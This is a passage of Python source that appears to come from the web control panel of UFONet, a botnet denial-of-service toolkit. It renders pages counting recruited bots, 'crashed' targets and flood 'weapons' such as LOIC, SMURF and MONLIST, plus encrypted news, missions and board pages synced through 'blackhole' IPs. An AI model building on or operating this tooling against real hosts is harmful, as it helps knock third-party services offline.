  389. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  390. <tr>
  391. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  392. </table>
  393. </td><td>
  394. <table border="1" cellpadding="5" cellspacing="10"><tr>
  395. <td><b><u>Botnet:</u></b></td></tr>
  396. <tr>
  397. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  398. <tr>
  399. <td>Scanner (new bots via dorking):</td>
  400. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  401. <tr>
  402. <td>Transferred (new bots via blackholes):</td>
  403. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  404. <tr>
  405. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  406. </table>
  407. <br>
  408. <table border="1" cellpadding="5" cellspacing="10"><tr>
  409. <td><b><u>Weapons (use):</u></b></td></tr>
  410. <tr>
  411. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  412. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  413. <tr>
  414. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  415. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  416. <tr>
  417. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  418. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  419. <tr>
  420. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  421. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  422. </tr>
  423. <tr>
  424. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  425. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td></tr>
  426. </tr>
  427. </table>
  428. </td></tr></table>
  429. <br><hr>
  430. <div id="cmdOut"></div>
  431. """ + self.pages["/footer"]
  432. def hmac_sha1(self, key, msg):
  433. if len(key) > 20:
  434. key = sha1(key).digest()
  435. key += chr(0).encode('utf-8') * (20 - len(key))
  436. o_key_pad = key.translate(self.trans_5C)
  437. i_key_pad = key.translate(self.trans_36)
  438. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  439. def derive_keys(self, key):
  440. key = key.encode('utf-8')
  441. h = sha256()
  442. h.update(key)
  443. h.update('cipher'.encode('utf-8'))
  444. cipher_key = h.digest()
  445. h = sha256()
  446. h.update(key)
  447. h.update('mac'.encode('utf-8'))
  448. mac_key = h.digest()
  449. return (cipher_key, mac_key)
  450. def decrypt(self, key, text):
  451. KEY_SIZE = 32
  452. BLOCK_SIZE = 16
  453. MAC_SIZE = 20
  454. mode = AES.MODE_CFB
  455. try:
  456. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  457. except:
  458. try:
  459. padding = len(text) % 4
  460. if padding == 1:
  461. return ''
  462. elif padding == 2:
  463. text += b'=='
  464. elif padding == 3:
  465. text += b'='
  466. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  467. except TypeError:
  468. return None
  469. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  470. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  471. mac = iv_ciphertext_mac[-MAC_SIZE:]
  472. (cipher_key, mac_key) = self.derive_keys(key)
  473. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  474. if mac != expected_mac:
  475. return None
  476. aes = AES.new(cipher_key, mode, iv)
  477. self.decryptedtext = aes.decrypt(ciphertext)
  478. try:
  479. self.decryptedtext = self.decryptedtext.decode('utf-8')
  480. except:
  481. pass
  482. def encrypt(self, key, text):
  483. key = base64.b64encode(key)
  484. c = Cipher(key, text)
  485. msg = c.encrypt()
  486. c.set_text(msg)
  487. self.encryptedtext = str(msg)
  488. def html_news(self):
  489. return self.pages["/header"] + """<script language="javascript">
  490. function Decrypt(){
  491. news_key=document.getElementById("news_key").value
  492. if(news_key == "") {
  493. window.alert("You need to enter a valid key (provided by someone)");
  494. return
  495. }else{
  496. params="news_key="+escape(news_key)
  497. runCommandX("cmd_decrypt",params)
  498. document.getElementById("nb1").style.display = "none";
  499. }
  500. }
  501. </script>
  502. <script language="javascript">
  503. function RefreshNews(){
  504. news_source=document.getElementById("news_source").value
  505. if(news_source == "") {
  506. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  507. return
  508. }else{
  509. params="news_source="+escape(news_source)
  510. runCommandX("cmd_refresh_news",params)
  511. document.getElementById("nb1").style.display = "none";
  512. setTimeout("location.reload()", 10000)
  513. }
  514. }
  515. </script>
  516. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  517. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  518. <br>
  519. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  520. <td>Blackhole/IP:</td>
  521. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  522. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  523. <hr>
  524. <table cellpadding="5" cellspacing="5"><tr>
  525. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  526. <table cellpading="5" cellspacing="10"><tr><td>
  527. <form method='GET'>
  528. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  529. </td></tr><tr><td>
  530. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  531. </form>
  532. </td></tr></table></td></tr></table>
  533. <hr><br>
  534. </center>
  535. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  536. <div id="cmdOut"></div>
  537. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  538. """ + self.pages["/footer"]
  539. def html_missions(self):
  540. return self.pages["/header"] + """<script language="javascript">
  541. function Decrypt(){
  542. missions_key=document.getElementById("missions_key").value
  543. if(missions_key == "") {
  544. window.alert("You need to enter a valid key (provided by someone)");
  545. return
  546. }else{
  547. params="missions_key="+escape(missions_key)
  548. runCommandX("cmd_decrypt",params)
  549. document.getElementById("nb1").style.display = "none";
  550. }
  551. }
  552. </script>
  553. <script language="javascript">
  554. function RefreshMissions(){
  555. missions_source=document.getElementById("missions_source").value
  556. if(missions_source == "") {
  557. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  558. return
  559. }else{
  560. params="missions_source="+escape(missions_source)
  561. runCommandX("cmd_refresh_missions",params)
  562. document.getElementById("nb1").style.display = "none";
  563. setTimeout("location.reload()", 10000)
  564. }
  565. }
  566. </script>
  567. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  568. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  569. <br>
  570. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  571. <td>Blackhole/IP:</td>
  572. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  573. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  574. <hr>
  575. <table cellpadding="5" cellspacing="5"><tr>
  576. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  577. <table cellpading="5" cellspacing="10"><tr><td>
  578. <form method='GET'>
  579. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  580. </td></tr><tr><td>
  581. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  582. </form>
  583. </td></tr></table></td></tr></table>
  584. <hr><br>
  585. </center>
  586. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  587. <div id="cmdOut"></div>
  588. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  589. """ + self.pages["/footer"]
  590. def html_board(self):
  591. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  592. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  593. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  594. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  595. device_state = "OFF"
  596. device = "Board device: <font color='red'>OFF</font><br>"
  597. else:
  598. device_state = "ON"
  599. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  600. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  601. data = json.load(boardcfg_json_file)
  602. boardcfg_json_file.close()
  603. profile_token = data["profile_token"]
  604. profile_icon = data["profile_icon"]
  605. profile_nick = data["profile_nick"]
  606. self.profile_nick.encode('utf-8')
  607. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  608. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  609. if device_state == "OFF":
  610. board_filter = ""
  611. else:
  612. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  613. if device_state == "OFF":
  614. sync_panel = ""
  615. else:
  616. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  617. if device_state == "OFF":
  618. board_panel = ""
  619. else:
  620. with open(self.board_file) as f:
  621. for line in f:
  622. line = line.strip()
  623. self.board_warning += "\n" + " " + line + " " + "\n"
  624. f.close()
  625. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  626. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  627. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  628. if device_state == "OFF":
  629. remove_profile = ""
  630. else:
  631. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  632. return self.pages["/header"] + """<script language="javascript">
  633. function BoardProfile() {
  634. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  635. }
  636. function RemoveProfile() {
  637. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  638. }
  639. function Decrypt_board(){
  640. board_key=document.getElementById("board_key").value
  641. if (document.getElementById('filter_all').checked) {
  642. filter = document.getElementById('filter_all').value;
  643. }
  644. if (document.getElementById('filter_general').checked) {
  645. filter = document.getElementById('filter_general').value;
  646. }
  647. if (document.getElementById('filter_opsec').checked) {
  648. filter = document.getElementById('filter_opsec').value;
  649. }
  650. if (document.getElementById('filter_faq').checked) {
  651. filter = document.getElementById('filter_faq').value;
  652. }
  653. if (document.getElementById('filter_bugs').checked) {
  654. filter = document.getElementById('filter_bugs').value;
  655. }
  656. if (document.getElementById('filter_media').checked) {
  657. filter = document.getElementById('filter_media').value;
  658. }
  659. if(board_key == "") {
  660. window.alert("You need to enter a valid key (provided by someone)");
  661. return
  662. }else{
  663. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  664. runCommandX("cmd_decrypt_moderator_board",params)
  665. document.getElementById("nb1").style.display = "none";
  666. }
  667. }
  668. function OptionsCheck() {
  669. if (document.getElementById('read').checked) {
  670. document.getElementById('board_read').style.display = 'block';
  671. document.getElementById('board_send').style.display = 'none';
  672. document.getElementById('board_warning').style.display = 'none';
  673. }
  674. else if(document.getElementById('write').checked) {
  675. document.getElementById('board_send').style.display = 'block';
  676. document.getElementById('board_warning').style.display = 'block';
  677. document.getElementById('board_read').style.display = 'none';
  678. }
  679. }
  680. function Sync_panel(){
  681. document.getElementById("sync_panel_block").style.display = "block";
  682. }
  683. function SyncBoard(){
  684. document.getElementById('nb1').style.display = 'none';
  685. board_source=document.getElementById("board_source").value
  686. if(board_source == "") {
  687. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  688. return
  689. }else{
  690. params="board_source="+escape(board_source)
  691. runCommandX("cmd_sync_board",params)
  692. setTimeout("location.reload()", 10000)
  693. }
  694. }
  695. </script>
  696. <script language="javascript">
  697. function SendMessage() {
  698. board_source=document.getElementById("board_source_send").value
  699. board_key=document.getElementById("board_key").value
  700. stream_txt=document.getElementById("stream_txt").value
  701. board_selector=document.getElementById("board_selector");
  702. board_topic = board_selector.options[board_selector.selectedIndex].value;
  703. if(board_key == "") {
  704. board_key='"""+str(self.crypto_key)+"""';
  705. }else{
  706. if(stream_txt == "") {
  707. window.alert("You need to enter a message! (~ 1-140 characters)");
  708. return
  709. }else{
  710. if(board_source == "") {
  711. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  712. return
  713. }else{
  714. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  715. runCommandX("cmd_send_message_board",params)
  716. setTimeout("location.reload()", 10000)
  717. }
  718. }
  719. }
  720. }
  721. </script>
  722. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  723. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  724. <br>
  725. <center>
  726. <table cellpadding="5" cellspacing="5"><tr>
  727. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  728. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  729. </td></tr></table></tr></table>
  730. <hr><br>"""+board_panel+"""
  731. """ + self.pages["/footer"]
  732. def generate_grid(self):
  733. with open(self.grid_file) as f:
  734. for line in f:
  735. line = line.strip()
  736. f.close()
  737. mothership_members = 0 # mothership_members stats bonus
  738. unknown_members = 0 # unknown (or non decrypted) mothership members
  739. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  740. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  741. if grid_msg_sep in m:
  742. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  743. m = m.split(grid_msg_sep)
  744. mothership_members = mothership_members + 1
  745. grid_nickname = m[0][0:12]
  746. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  747. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  748. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  749. grid_totalchargo = m[2][0:4] # total chargo
  750. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  751. grid_dorking = m[3][0:4] # dorking
  752. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  753. grid_transferred = m[4][0:4] # transferred
  754. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  755. grid_maxchargo = m[5][0:4] # maxchargo
  756. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  757. grid_missions = m[6][0:4] # missions
  758. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  759. grid_attacks = m[7][0:4] # attacks
  760. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  761. grid_loic = m[8][0:4] # loic
  762. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  763. if version > 17: # v1.4
  764. grid_loris = m[9][0:4] # loris
  765. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  766. grid_ufosyn = m[10][0:4] # ufosyn
  767. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  768. grid_spray = m[11][0:4] # spray
  769. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  770. grid_smurf = m[12][0:4] # smurf
  771. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  772. grid_xmas = m[13][0:4] # xmas
  773. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  774. grid_nuke = m[14][0:4] # nuke
  775. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  776. grid_tachyon = m[15][0:4] # tachyon
  777. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  778. grid_monlist = m[16][0:4] # monlist
  779. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  780. try:
  781. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  782. except:
  783. grid_contact= "invalid"
  784. try:
  785. grid_id = m[18] # id (plain id)
  786. except:
  787. grid_id = "invalid!"
  788. if version == 17: # v1.3
  789. grid_loris = m[9][0:4] # loris
  790. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  791. grid_ufosyn = m[10][0:4] # ufosyn
  792. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  793. grid_spray = m[11][0:4] # spray
  794. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  795. grid_smurf = m[12][0:4] # smurf
  796. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  797. grid_xmas = m[13][0:4] # xmas
  798. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  799. grid_nuke = m[14][0:4] # nuke
  800. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  801. grid_tachyon = m[15][0:4] # tachyon
  802. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  803. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  804. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  805. try:
  806. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  807. except:
  808. grid_contact= "invalid"
  809. try:
  810. grid_id = m[17] # id (plain id)
  811. except:
  812. grid_id = "invalid!"
  813. elif version == 16: # v1.2.1
  814. grid_loris = m[9][0:4] # loris
  815. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  816. grid_ufosyn = m[10][0:4] # ufosyn
  817. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  818. grid_spray = m[11][0:4] # spray
  819. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  820. grid_smurf = m[12][0:4] # smurf
  821. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  822. grid_xmas = m[13][0:4] # xmas
  823. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  824. grid_nuke = m[14][0:4] # nuke
  825. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  826. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  827. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  828. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  829. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  830. try:
  831. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  832. except:
  833. grid_contact= "invalid"
  834. try:
  835. grid_id = m[16] # id (plain id)
  836. except:
  837. grid_id = "invalid!"
  838. elif version == 15: # v1.2
  839. grid_loris = m[9][0:4] # loris
  840. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  841. grid_ufosyn = m[10][0:4] # ufosyn
  842. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  843. grid_spray = m[11][0:4] # spray
  844. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  845. grid_smurf = m[12][0:4] # smurf
  846. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  847. grid_xmas = m[13][0:4] # xmas
  848. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  849. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  850. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  851. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  852. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  853. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  854. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  855. try:
  856. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  857. except:
  858. grid_contact= "invalid"
  859. try:
  860. grid_id = m[15] # id (plain id)
  861. except:
  862. grid_id = "invalid!"
  863. elif version == 12: # v1.1
  864. grid_loris = m[9][0:4] # loris
  865. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  866. grid_ufosyn = m[10][0:4] # ufosyn
  867. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  868. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  869. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  870. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  871. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  872. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  873. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  874. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  875. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  876. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  877. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  878. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  879. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  880. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  881. try:
  882. grid_id = m[12] # id (plain id)
  883. except:
  884. grid_id = "invalid!"
  885. elif version == 11: # v1.0
  886. grid_loris = m[9][0:4] # loris
  887. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
